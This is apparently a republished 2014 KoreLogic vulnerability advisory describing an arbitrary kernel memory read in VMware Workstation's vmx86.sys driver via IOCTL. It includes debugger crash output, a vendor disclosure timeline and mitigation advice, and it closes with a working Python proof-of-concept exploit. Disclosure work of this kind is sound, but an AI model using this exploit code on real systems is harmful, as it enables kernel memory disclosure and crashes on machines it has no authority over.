扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 |
Title: VMWare vmx86.sys Arbitrary Kernel Read Advisory ID: KL-001-2014-004 Publication Date: 2014.11.04 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-004.txt 1. Vulnerability Details Affected Vendor: VMWare Affected Product: Workstation Affected Version: 10.0.0.40273 Platform: Microsoft Windows XP SP3 x86, Microsoft Windows Server 2003 SP2 x86, Microsoft Windows 7 SP1 x86 CWE Classification: CWE-20: Improper Input Validation Impact: Arbitrary Read, Denial-of-Service Attack vector: IOCTL 2. Vulnerability Description A vulnerability within the vmx86 driver allows an attacker to specify a memory address within the kernel and have the memory stored at that address be returned to the attacker. 3. Technical Description The first four bytes of the InputBuffer parameter passed to DeviceIoControl is used as the source parameter in a memcpy call. The InputBuffer must be a minimum of eight bytes long in order to trigger the vulnerability. The OutputBuffer parameter passed to DeviceIoControl is used as the destination address for the output from the DeviceIoControl call. In this case, the data returned is the same data residing at the source paramter of memcpy.This can therefore be abused in a way that allows an attacker to arbitrarily define a kernel address, and have the memory stored at that address be returned to the attacker at an address residing in userland. Probably caused by : vmx86.sys ( vmx86+bd6 ) Followup: MachineOwner --------- kd> .symfix;.reload;!analyze -v Loading Kernel Symbols ............................................................... ................................................................ ................................................... Loading User Symbols ......................... Loading unloaded module list ..... ******************************************************************************* * * *Bugcheck Analysis* * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced.This cannot be protected by try-except, it must be protected by a Probe.Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffff0000, memory referenced. Arg2: 00000000, value 0 = read operation, 1 = write operation. Arg3: 82c727f3, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ READ_ADDRESS:ffff0000 FAULTING_IP: nt!memcpy+33 82c727f3 f3a5rep movs dword ptr es:[edi],dword ptr [esi] MM_INTERNAL_CODE:0 DEFAULT_BUCKET_ID:WIN7_DRIVER_FAULT BUGCHECK_STR:0x50 PROCESS_NAME:python.exe CURRENT_IRQL:0 ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) x86fre TRAP_FRAME:822e47dc -- (.trap 0xffffffff822e47dc) ErrCode = 00000000 eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000 eip=82c727f3 esp=822e4850 ebp=822e4858 iopl=0 nv up ei pl nz ac po nc cs=0008ss=0010ds=0023es=0023fs=0030gs=0000 efl=00010212 nt!memcpy+0x33: 82c727f3 f3a5rep movs dword ptr es:[edi],dword ptr [esi] Resetting default scope LAST_CONTROL_TRANSFER:from 82c7a3d8 to 82cc741b STACK_TEXT: 822e47c4 82c7a3d8 00000000 ffff0000 00000000 nt!MmAccessFault+0x106 822e47c4 82c727f3 00000000 ffff0000 00000000 nt!KiTrap0E+0xdc 822e4858 93572bd6 856a9000 ffff0000 00002000 nt!memcpy+0x33 822e48cc 9357329a 856a9000 00000008 856a9000 vmx86+0xbd6 822e48f8 82c70593 86f0d030 87433540 87433540 vmx86+0x129a 822e4910 82e6499f 871f8b08 87433540 874335b0 nt!IofCallDriver+0x63 822e4930 82e67b71 86f0d030 871f8b08 00000000 nt!IopSynchronousServiceTail+0x1f8 822e49cc 82eae3f4 86f0d030 87433540 00000000 nt!IopXxxControlFile+0x6aa 822e4a00 821210fa 0000007c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 822e4b14 82cb7685 00000000 00000000 00000000 nt!KiDeliverApc+0x17f 822e4b58 82cb64f7 00000000 85689a10 80000000 nt!KiSwapThread+0x24e 822e4b80 82cb61d5 85689a10 85689ad0 0000008a nt!KiCommitThreadWait+0x1df 822e4bd8 82e639fd 01b1fd01 00000001 822e4bc8 nt!KeDelayExecutionThread+0x2aa 822e4c24 82c771ea 00000001 01b1ff54 01b1ff78 nt!NtDelayExecution+0x8d 822e4c24 777c70b4 00000001 01b1ff54 01b1ff78 nt!KiFastCallEntry+0x12a 01b1ff0c 777c57d4 75a31876 00000001 01b1ff54 ntdll!KiFastSystemCallRet 01b1ff10 75a31876 00000001 01b1ff54 da57de5e ntdll!NtDelayExecution+0xc 01b1ff78 00401ed6 ffffffff 00000001 01b1ff94 KERNELBASE!SleepEx+0x65 01b1ff94 777e37f5 00000000 762fe46a 00000000 kernel32!BaseThreadInitThunk+0xe 01b1ffd4 777e37c8 00401ec0 00000000 00000000 ntdll!__RtlUserThreadStart+0x70 01b1ffec 00000000 00401ec0 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND:kb FOLLOWUP_IP: vmx86+bd6 93572bd6 83c40cadd esp,0Ch SYMBOL_STACK_INDEX:3 SYMBOL_NAME:vmx86+bd6 FOLLOWUP_NAME:MachineOwner MODULE_NAME: vmx86 IMAGE_NAME:vmx86.sys DEBUG_FLR_IMAGE_TIMESTAMP:539a4f4e FAILURE_BUCKET_ID:0x50_vmx86+bd6 BUCKET_ID:0x50_vmx86+bd6 ANALYSIS_SOURCE:KM FAILURE_ID_HASH_STRING:km:0x50_vmx86+bd6 FAILURE_ID_HASH:{fc58ae86-f23c-59c4-2a6e-428433bd6080} Followup: MachineOwner --------- kd> .frame /c 04; .cxr; .frame /c 03; .cxr; .frame /c 02 04 822e48f8 82c70593 vmx86+0x129a eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000 eip=9357329a esp=822e48d4 ebp=822e48f8 iopl=0 nv up ei pl nz ac po nc cs=0008ss=0010ds=0023es=0023fs=0030gs=0000 efl=00010212 vmx86+0x129a: 9357329a eb63jmp vmx86+0x12ff (935732ff) Resetting default scope 03 822e48cc 9357329a vmx86+0xbd6 eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000 eip=93572bd6 esp=822e4860 ebp=822e48cc iopl=0 nv up ei pl nz ac po nc cs=0008ss=0010ds=0023es=0023fs=0030gs=0000 efl=00010212 vmx86+0xbd6: 93572bd6 83c40cadd esp,0Ch Resetting default scope 02 822e4858 93572bd6 nt!memcpy+0x33 eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000 eip=82c727f3 esp=822e4850 ebp=822e4858 iopl=0 nv up ei pl nz ac po nc cs=0008ss=0010ds=0023es=0023fs=0030gs=0000 efl=00010212 nt!memcpy+0x33: 82c727f3 f3a5rep movs dword ptr es:[edi],dword ptr [esi] By using the provided proof-of-concept code, an attacker can read data from arbitrary kernel memory addresses. As an example, the value of the first entry in HalDispatchTable is read. Below is the debugger output, followed by the stdout from the proof-of-concept code. 0:000> g ModLoad: 76170000 7618f000 C:\Windows\system32\IMM32.DLL ModLoad: 77600000 776cc000 C:\Windows\system32\MSCTF.dll ModLoad: 1d1a0000 1d1b8000 C:\Python27\DLLs\_ctypes.pyd ModLoad: 77440000 7759c000 C:\Windows\system32\ole32.dll ModLoad: 75c60000 75cef000 C:\Windows\system32\OLEAUT32.dll ModLoad: 77950000 77955000 C:\Windows\system32\Psapi.DLL ModLoad: 01980000 01d92000 C:\Windows\system32\ntkrnlpa.exe *** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\Windows\system32\kernel32.dll - eax=00000000 ebx=00000000 ecx=0021fe68 edx=00000020 esi=778e7380 edi=778e7340 eip=778570b4 esp=0021feb8 ebp=0021fed4 iopl=0 nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000246 ntdll!KiFastSystemCallRet: 778570b4 c3ret 0:000> db 0x25 L?0x4 00000025a2 68 04 83 [+] Handle \\.\vmx86 @ 120 [+] HalDispatchTable+0x4(0x82d383fc) == 830468a2 4. Mitigation and Remediation Recommendation A patch is not likely to be forthcoming from the vendor. It is recommended not to allow users access to the __vmware__ group unless they are trusted with LocalSystem privileges. 5. Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. 6. Disclosure Timeline 2014.08.08 - Initial contact; sent VMWare report and PoC. 2014.08.08 - VMWare acknowledges receipt of vulnerability report. 2014.08.15 - VMWare asks for clarification on the PoC. 2014.08.18 - KoreLogic responds to VMWare's request. 2014.08.18 - VMWare counters that it is the expected behavior for members of the __vmware__ group to be able to read arbitrary memory. Asks KoreLogic to describe the "actionable security item here." 2014.08.20 - KoreLogic advises VMWare that providing non-admin user accounts with the unmitigated ability to dump the contents of the kernel memory is a security risk. 2014.08.20 - VMWare suggests modifying the documentation describing the capabilities of the __vmware__ group as a solution. 2014.08.21 - KoreLogic provides VMWare with a mitigation strategy and describes how to patch the vulnerability. KoreLogic requests that a CVE be issued. 2014.08.25 - VMware states they will continue to review the vulnerability details. 2014.09.24 - KoreLogic informs VMWare that 30 business days have passed since vendor acknowledgement of the initial report. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.09.26 - VMWare responds that they will contact KoreLogic "next week." 2014.10.08 - KoreLogic reaches out to VMWare as more than 1 week has elapsed since the last response. 2014.10.13 - VMWare responds that they have decided the reported vulnerability is not a security issue. VMWare creates a Knowledge Base article comparing the __vmware__ group to a Microsoft Windows Power User account. 2014.10.14 - 45 business days have elapsed since the vulnerability was reported to VMWare. 2014.10.14 - KoreLogic requests a CVE for this vulnerability report. 2014.10.22 - MITRE asks KoreLogic to clarify the vendor's response to the KoreLogic report. 2014.10.22 - KoreLogic responds with a summary of VMWare's responses to the KoreLogic report. 2014.10.22 - MITRE responds that there will be no CVE issued for this report, as the vendor is "entitled to define a security policy in which this read access is considered an acceptable risk." 2014.11.04 - Public disclosure. 7. Proof of Concept The code presented below will trigger the issue by forcing memory to be read from a blatantly invalid address of 0xffff0000. #!/usr/bin/python2 # # KL-001-2014-004 : VMWare vmx86.sys Arbitrary Kernel Read # Matt Bergin (KoreLogic / Smash the Stack) from ctypes import * from struct import pack from os import getpid,system from sys import exit from binascii import hexlify from re import findall EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] Could not open handle, is user part of the __vmware__ group?" exit(1) print "[+] Handle \\\\.\\vmx86 @ %s" % (handle) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x100)),0x1000|0x2000,0x40) buf = pack('<L',0xcccccccc)*100 WriteProcessMemory(-1,0x100,buf,len(buf),byref(c_int(0))) inputBuffer = pack('<L',0xffff0000) + pack('<L',0x41414141) DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x75,0xff) if (GetLastError() != 0): print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError())) exit(1) CloseHandle(handle) The contents of this advisory are copyright(c) 2014 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt |
体验盒子
